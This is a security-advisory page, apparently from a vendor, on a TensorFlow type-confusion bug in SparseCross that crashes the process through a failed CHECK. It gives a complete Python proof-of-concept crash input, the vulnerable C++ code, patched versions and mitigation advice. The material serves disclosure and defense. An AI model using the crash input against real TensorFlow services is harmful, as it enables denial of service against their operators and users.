GHSA-772j-h9xw-ffp5 is a low-severity (CVSS 2.5) CWE-843 vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-772j-h9xw-ffp5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
CHECK-fail in SparseCross due to type confusion
Real-World Exposure
tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu+4 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The API of tf.raw_ops.SparseCross allows combinations which would result in a CHECK-failure and denial of service:
import tensorflow as tf
hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string
internal_type = tf.string
indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
indices = [indices_1, indices_2]
values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]
batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
shapes = [shape_1, shape_2]
dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]
tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)
The above code will result in a CHECK fail in tensor.cc:
void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
CHECK_EQ(dtype(), expected_dtype)
<< " " << DataTypeString(expected_dtype) << " expected, got "
<< DataTypeString(dtype());
...
}
This is because the implementation is tricked to consider a tensor of type tstring which in fact contains integral elements:
if (DT_STRING == values_.dtype())
return Fingerprint64(values_.vec<tstring>().data()[start + n]);
return values_.vec<int64>().data()[start + n];
Fixing the type confusion by preventing mixing DT_STRING and DT_INT64 types solves this issue.
Patches
We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 2.1.4 |
| 🐍PyPI | tensorflow | ≥ 2.2.0&&< 2.2.3 | 2.2.3 |
| 🐍PyPI | tensorflow | ≥ 2.3.0&&< 2.3.3 | 2.3.3 |
| 🐍PyPI | tensorflow | ≥ 2.4.0&&< 2.4.2 | 2.4.2 |
| 🐍PyPI | tensorflow-cpu | all versions | 2.1.4 |
| 🐍PyPI | tensorflow-cpu | ≥ 2.2.0&&< 2.2.3 | 2.2.3 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tensorflow to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-772j-h9xw-ffp5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-772j-h9xw-ffp5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-772j-h9xw-ffp5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-772j-h9xw-ffp5 in your dependencies?
O3 detects GHSA-772j-h9xw-ffp5 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.